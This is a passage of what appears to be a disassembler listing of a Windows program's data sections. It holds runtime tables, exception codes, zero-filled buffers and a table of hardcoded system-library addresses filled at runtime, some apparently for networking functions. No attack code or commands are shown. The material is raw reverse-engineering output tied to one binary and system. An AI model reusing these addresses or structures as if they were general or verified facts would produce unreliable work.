427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r ; __handle_exc:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r ; __handle_exc:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr ; __set_statfp+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r align 10h off_43D420 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw ; __output+3AAr off_43D424 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w ; __output+3E2r off_43D428 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w ; __input+430r off_43D42C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew ; __output+3CBr off_43D430 dd offset __positive ; DATA XREF: __cfltcvt_init+28w off_43D434 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: _xcptlookup+Ar ; _xcptlookup+11o ... dword_43D44C dd 0Bh ; DATA XREF: _siglookup+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: __XcptFilter+58r ; _raise+C8r dword_43D4C4 dd 7 ; DATA XREF: __XcptFilter+5Er ; _raise+CDr dword_43D4C8 dd 0Ah ; DATA XREF: _xcptlookup+4r ; _siglookup+4r dword_43D4CC dd 8Ch ; DATA XREF: __XcptFilter+82r ; __XcptFilter+8Fw ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __filbuf:loc_41F964o ; __flsbuf:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: __NMSG_WRITE+Eo ; __NMSG_WRITE+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr ; __NMSG_WRITE+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: __NMSG_WRITE+1Bo ; ___initstdio+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: __flsbuf+58o ; __stbuf:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: ___initstdio+69o dword_43D7F0 dd 2694h ; DATA XREF: __handle_qnan1+3r ; __except1+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: .rdata:00427EC4o ; .rdata:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: .rdata:off_427D78o ; .rdata:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: .rdata:off_427DC0o ; .rdata:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: .rdata:off_427E0Co ; .rdata:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: .rdata:off_427E58o ; .rdata:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o ; char byte_43DB88 byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; WinMain(x,x,x,x)+24Do ... align 10h ; char dword_43DB90[] dword_43DB90 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw ; WinMain(x,x,x,x)+456w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 473Ch dup(0) ; DATA XREF: .data:off_43492Co db 0 byte_457441 db 3 dup(0) ; DATA XREF: .data:off_43902Co dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: .data:off_432948o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: .data:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_438E98o dd 5932h dup(0) dword_4CB710 dd 0E837h ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 1Dh ; DATA XREF: WinMain(x,x,x,x)+3Dw ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4016FFo ; char Dest[] Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o ; WinMain(x,x,x,x)+52Fo ... ; char byte_4CB79C[] byte_4CB79C db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo ; char byte_4CB7DC[] byte_4CB7DC db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o dword_4CB86C dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w ; WinMain(x,x,x,x)+546w ... dword_4CB870 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w ; WinMain(x,x,x,x)+4FAr ... dword_4CB888 dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw ; sub_401ACD+8A2r ; char word_4CB88C[] word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; .text:0040AFA9o ... align 10h dword_4CB890 dd 77C72C6Bh ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 77EBA994h ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 7622A3F4h ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 71C45229h ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 71C24870h ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 77C71BB0h ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 77D4808Bh ; DATA XREF: sub_409909+213w ; sub_409909+234r ... dword_4CB8AC dd 71C4502Ch ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 77DE801Bh ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 77DDACABh ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 77DE8075h ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 77DD7496h ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 71AB1B7Bh ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 77E686CCh ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 71C2498Bh ; DATA XREF: sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 77DDAB2Fh ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 7620E8C3h ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 77DD23D7h ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 76214750h ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 77E6D75Bh ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 7620BD61h ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 71AB60C9h ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8E8 dd 77EBA6E9h ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 76D62A58h ; DATA XREF: sub_409909+934w ; sub_413E10+11Ar dword_4CB8F0 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 77E802FCh ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 77C75455h ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 71AB12A7h ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r ... dword_4CB900 dd 71C574FAh ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 71AB1746h ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 71C21CA3h ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 71B28D0Dh ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 762211EFh ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 77D902E3h ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 71C2FA86h ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 77DE1291h ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 77E2C1B3h ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 73B81E3Bh ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 71ABF628h ; DATA XREF: sub_409909+6ACw ; sub_4111C0+D0r dword_4CB92C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 77C72889h ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 71C453F8h ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 77DD5C55h ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 77E96645h ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 77428B97h ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr ; sub_401ACD+5037r ... dword_4CB948 dd 762059A3h ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 71C4A1B4h ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 1F7CD214h ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 77E09134h ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 77D4456Bh ; DATA XREF: sub_409909+22Dw ; sub_4126A7+40r ... dword_4CB95C dd 76D629BBh ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er ... dword_4CB960 dd 1F7B9D96h ; DATA XREF: sub_409909+C28w dword_4CB964 dd 77E09070h ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 71AB1740h ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 7620AFB6h ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 77D5C13Ah ; DATA XREF: sub_409909+220w ; sub_409909+23Cr ... dword_4CB974 dd 77D45B19h ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 71AB157Eh ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 71AB14DCh ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0CC0004h ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 77DD590Bh ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 71ABD755h ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 77DF7311h ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 77DDA2AFh ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 1F7CD927h ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 76206853h ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 77D4932Ch ; DATA XREF: sub_409909+206w ; sub_409909+227r ... dword_4CB9A4 dd 77D5E310h ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 76206B7Fh ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 71AB1444h ; DATA XREF: sub_409909+624w ; sub_409909+774r ... dword_4CB9B0 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 71AB3F8Dh ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 77DD5D20h ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 71AB1890h ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 77C76B34h ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 77D5E38Ch ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 77DDA20Bh ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 76F36EEBh ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 71AB12A7h ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 77EBA595h ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 77C7531Dh ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 77D4BDCAh ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 71C3516Ah ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 71AB32CAh ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 71AB5690h ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 1F7CB8F8h ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 77EBB1E7h ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 77DD59F0h ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 71AB5DE2h ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 71AB3ECEh ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 73B81B0Fh ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 76204E4Dh ; DATA XREF: sub_409909+879w ; sub_4167A0+4DCr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 1F7D886Ah ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 71AB12F8h ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 77C76551h ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 77C729E2h ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 77C7212Fh ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 71AB1AF4h ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 77D5E303h ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 71C4576Ch ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 77D4702Fh ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 77E6C0E3h ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 71AB1ED3h ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 71B2A381h ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 77DDA595h ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 77DD22EAh ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 773F97B0h ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 76D67A29h ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 76D674FAh ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 1F7BA3A9h ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 71AB401Ch ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 71C214BAh ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 71AB868Dh ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 71AB155Ah ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 71B22C25h ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 71AB5A01h ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 71B2ACCBh ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r ; sub_409909+31w ... dword_4CBA84 dd 77D49A11h ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 76D62A37h ; DATA XREF: sub_409909+927w ; sub_409909+93Br ... dword_4CBA90 dd 77E6CBF9h ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r ; char byte_4CBB04[] byte_4CBB04 db 14h dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C600+D9w ... dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r ; char byte_4CDB48[] byte_4CDB48 db 80h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o ; char byte_4CDCE0[] byte_4CDCE0 db 104h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r ; char byte_4CDDF0[] byte_4CDDF0 db 80h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o ; char byte_4CDF88[] byte_4CDF88 db 104h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: 